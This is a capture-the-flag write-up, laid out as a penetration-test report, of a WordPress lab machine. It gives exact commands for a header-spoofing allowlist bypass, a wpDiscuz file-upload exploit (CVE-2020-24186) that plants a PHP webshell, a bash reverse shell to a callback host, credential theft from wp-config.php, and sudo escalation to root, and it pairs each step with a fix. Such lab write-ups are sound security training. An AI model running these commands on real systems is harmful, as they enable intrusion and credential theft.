Pressed
Summary
I identified a WordPress installation on port 80 (Apache 2.4.41) whose IP-based allowlist on wp-admin and xmlrpc.php was trivially defeated by forging the X-Forwarded-For: localhost HTTP header — the server trusted the value the client supplied. With the block removed, WPScan enumerated the administrator account name and the wpDiscuz commenting plugin at version 7.3.2, which carries an unauthenticated arbitrary-file-upload vulnerability (CVE-2020-24186). Uploading a PHP webshell through the comment-image AJAX endpoint placed an executable file in the uploads directory and delivered a shell as the web server user www-data. The WordPress configuration file contained the MySQL password in plaintext; that password was [REDACTED: recovered credential] as the SSH login for a local OS account, elevating access to a user-level shell and the first flag. A sudo rule that permitted the account to run a system binary as root without a password completed the escalation to full root access and the final flag.
Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p- --min-rate 5000 -oA pressed <TARGET_IP>echo '<TARGET_IP> pressed.htb' | sudo tee -a /etc/hostscurl -I http://$TARGET/wp-admin/Exact commands 2
curl -I 'http://$TARGET/wp-admin/' -H 'X-Forwarded-For: localhost'curl -I 'http://$TARGET/xmlrpc.php' -H 'X-Forwarded-For: localhost'FixImplement IP-based access control at the network layer, not via HTTP headersHigh
Exact commands 3
wpscan --url http://$TARGET/ -e u,ap --plugins-detection aggressive --additional-headers 'X-Forwarded-For: localhost' --api-token <WPSCAN_API_TOKEN>curl -s 'http://$TARGET/?rest_route=/wp/v2/users' -H 'X-Forwarded-For: localhost' | python3 -m json.toolcurl -s 'http://$TARGET/wp-content/plugins/wpdiscuz/readme.txt' -H 'X-Forwarded-For: localhost' | grep -i 'stable tag'FixRestrict WordPress user enumeration and hide plugin version stringsMedium
Exact commands 6
curl -s 'http://$TARGET/?p=1' -H 'X-Forwarded-For: localhost' | grep -oP '"wmuSecurity":"\K[^"]+'printf '<?php system($_GET["cmd"]); ?>' > shell.phpcurl -s -X POST 'http://$TARGET/wp-admin/admin-ajax.php' -H 'X-Forwarded-For: localhost' -F 'action=wmuUploadFiles' -F 'wmu_nonce=<NONCE>' -F 'postId=1' -F 'wmu_files[]=@shell.php;type=image/jpeg' -F 'wmuAttachmentsData={}'curl -s 'http://$TARGET/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php?cmd=id' -H 'X-Forwarded-For: localhost'nc -lvnp 4444curl -s 'http://$TARGET/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php' -H 'X-Forwarded-For: localhost' --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'FixUpdate wpDiscuz to 7.3.4+ and deny PHP execution in the uploads directoryCritical
Exact commands 3
cat /var/www/html/wp-config.phpgrep -E "define\('DB_(USER|PASSWORD)" /var/www/html/wp-config.phpawk -F: '$7 !~ /(nologin|false)/ {print $1}' /etc/passwdFixUse unique credentials for every service; never reuse the WordPress database password as an OS loginHigh
Exact commands 2
ssh <DB_USER>@pressed.htbcat ~/user.txtFixUse unique credentials for every service; never reuse the WordPress database password as an OS loginHigh
Exact commands 4
sudo -lcurl -sL https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -pf -i 1000sudo <BINARY> <GTFOBINS_ARGS>cat /root/root.txtFixRemove NOPASSWD sudo entries and enforce least-privilege access for all accountsCritical
Exposed services
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |